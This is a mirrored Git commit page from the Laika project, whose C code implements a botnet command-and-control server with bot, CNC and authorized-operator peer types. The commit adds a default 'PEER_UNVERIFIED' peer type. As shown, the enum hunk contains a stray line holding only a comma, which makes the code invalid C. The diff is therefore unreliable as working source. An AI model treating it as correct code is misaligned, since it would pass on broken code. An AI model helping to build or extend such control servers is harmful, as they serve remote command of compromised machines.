mirror of
https://github.com/CPunch/Laika.git
synced 2024-11-22 04:50:06 +00:00
added default peer::type, PEER_UNVERIFIED
This commit is contained in:
parent
282516797e
commit
9291dbf823
@ -62,6 +62,7 @@ struct sLaika_cnc *laikaC_newCNC(uint16_t port) {
|
|||||||
LAIKA_ERROR("LibSodium failed to initialize!\n");
|
LAIKA_ERROR("LibSodium failed to initialize!\n");
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/* load keys */
|
||||||
LAIKA_DEBUG("using pubkey: %s\n", LAIKA_PUBKEY);
|
LAIKA_DEBUG("using pubkey: %s\n", LAIKA_PUBKEY);
|
||||||
if (sodium_hex2bin(cnc->pub, crypto_box_PUBLICKEYBYTES, LAIKA_PUBKEY, strlen(LAIKA_PUBKEY), NULL, &_unused, NULL) != 0) {
|
if (sodium_hex2bin(cnc->pub, crypto_box_PUBLICKEYBYTES, LAIKA_PUBKEY, strlen(LAIKA_PUBKEY), NULL, &_unused, NULL) != 0) {
|
||||||
laikaC_freeCNC(cnc);
|
laikaC_freeCNC(cnc);
|
||||||
|
@ -8,6 +8,8 @@
|
|||||||
#include "lrsa.h"
|
#include "lrsa.h"
|
||||||
|
|
||||||
typedef enum {
|
typedef enum {
|
||||||
|
PEER_UNVERIFIED,
|
||||||
|
,
|
||||||
PEER_BOT,
|
PEER_BOT,
|
||||||
PEER_CNC, /* cnc 2 cnc communication */
|
PEER_CNC, /* cnc 2 cnc communication */
|
||||||
PEER_AUTH /* authorized peers can send commands to cnc */
|
PEER_AUTH /* authorized peers can send commands to cnc */
|
||||||
|
@ -13,6 +13,7 @@ struct sLaika_peer *laikaS_newPeer(PeerPktHandler *handlers, LAIKAPKT_SIZE *pktS
|
|||||||
peer->priv = NULL;
|
peer->priv = NULL;
|
||||||
peer->pub = NULL;
|
peer->pub = NULL;
|
||||||
peer->pktSize = 0;
|
peer->pktSize = 0;
|
||||||
|
peer->type = PEER_UNVERIFIED;
|
||||||
peer->pktID = LAIKAPKT_MAXNONE;
|
peer->pktID = LAIKAPKT_MAXNONE;
|
||||||
peer->setPollOut = false;
|
peer->setPollOut = false;
|
||||||
return peer;
|
return peer;
|
||||||
|
Loading…
Reference in New Issue
Block a user